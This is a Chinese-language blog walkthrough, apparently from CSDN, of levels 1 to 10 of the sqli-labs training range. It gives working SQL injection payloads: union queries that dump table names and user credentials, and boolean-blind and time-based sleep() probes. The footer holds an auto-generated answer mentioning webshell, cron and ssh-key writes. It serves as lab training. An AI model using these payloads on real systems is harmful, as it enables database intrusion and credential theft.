sqliabs靶场练习

熟悉Mqsql相关命令

首先先熟悉一下Mysql的相关命令,可能在SQL注入的时候会用到。

1.查询服务器主机信息

@@HOSTNAME 主机名称

@@datadir——数据库路径

@@version_compile_os——操作系统版本
2.查询数据库版本信息

Select VERSION() 数据库版本信息

Select @@VERSION 数据库版本信息

Select @@GLOBAL.VERSION 数据库版本信息

Select database() 数据库名称

3 .查询数据库用户信息

user() 系统用户和登录主机名

current_user() 当前登录用户和登录主机名

system_user() 数据库系统用户账户名称和登录主机名

session_user() 当前会话用户名和登录主机名

Less-1

题目:
在这里插入图片描述
这里提示我们输入数字值的ID作为参数,我们输入?id=1

在这里插入图片描述
这里很明显可以看到我们输入?id1是成功被带入了数据库的命令里面去了。
接下来我们来判断是字符型注入还是数字型注入。
在这里插入图片描述

在这里插入图片描述
根据结果可以看出来是字符型且存在sql注入漏洞。那我们就可以进行联合注入。

ORDER BY n    //判断当前查询结果的列数,配合union实用。ORDER BY n+1; 让n一直增加直到出现错误页面。

Union联合查询  union select …
?id=1'order by 3 --+

在这里插入图片描述

?id=1'order by 4 --+

在这里插入图片描述

?id=-1'union select 1,2,3--+

在这里插入图片描述
到这里咋们就可以获取当前数据名和版本号,这个就涉及mysql数据库的一些命令了。

?id=-1'union select 1,database(),version()--+

在这里插入图片描述

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

在这里插入图片描述

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

在这里插入图片描述

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

在这里插入图片描述

Less-2

当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。同Less-1,没有闭合方式
在这里插入图片描述

Less-3

当我们在输入?id=2’的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号,同Less-1,')闭合
在这里插入图片描述

Less-4

根据页面报错信息得知sql语句是双引号字符型且有括号,通过以下代码进行sql注入

?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

Less-5

布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。布尔盲注向对于联合注入来说需要花费大量时间。

?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
 
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。

Less-6

关卡6与关卡5是一样的,只是单引号和双引号的区别。

Less-7

第七关当在输入id=1,页面显示you are in… 当我们输入id=1’时显示报错,但是没有报错信息,这和我们之前的关卡不一样,之前都有报错信息。当我们输入id=1"时显示正常所以我们可以断定参数id时单引号字符串。因为单引号破坏了他原有语法结构。然后我输入id=1’–+时报错,这时候我们可以输入id=1’)–+发现依然报错,之时我试试是不是双括号输入id=1’))–+,发现页面显示正常。那么它的过关手法和前面就一样了选择布尔盲注就可以了。

Less-8

关卡8和关卡5类似

Less-9

?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
 
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
 
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
 
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。

Less-10

关卡10只需要将单引号换成双引号即可。

  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
回答: Vulhub靶场是一个用于漏洞学习和实践的平台,提供了各种常见漏洞的环境供用户进行实验和学习。在Vulhub靶场中,你可以学习和实践Apache换行解析漏洞(CVE-2017-15715)、Apache多后缀解析漏洞(apache_parsing_vulnerability)以及Apache ssl远程命令执行漏洞(ssi-rce)等漏洞。这些漏洞都有相应的漏洞描述、漏洞原理和漏洞利用方法。其中,Apache换行解析漏洞是指通过利用Apache服务器对换行符的解析不当,导致攻击者可以执行任意命令。Apache多后缀解析漏洞是指Apache服务器对文件后缀解析不当,导致攻击者可以执行任意代码。Apache ssl远程命令执行漏洞是指Apache服务器在处理SSI(Server Side Includes)时存在远程命令执行漏洞。在Vulhub靶场中,你可以通过写入webshell、写入cron或ssh key等文件以及写入jar或jetty.xml等库和配置文件等方法来利用这些漏洞。具体的操作方法可以参考相关的参考资料。 #### 引用[.reference_title] - *1* [vulhub靶场练习——Apache换行解析、多后缀解析、以及ssl远程命令执行漏洞分析](https://blog.csdn.net/qq_38632151/article/details/103287260)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [vulhub靶场练习 CVE-2016-3088 —— ActiveMQ任意文件写入漏洞](https://blog.csdn.net/qq_38632151/article/details/102975086)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值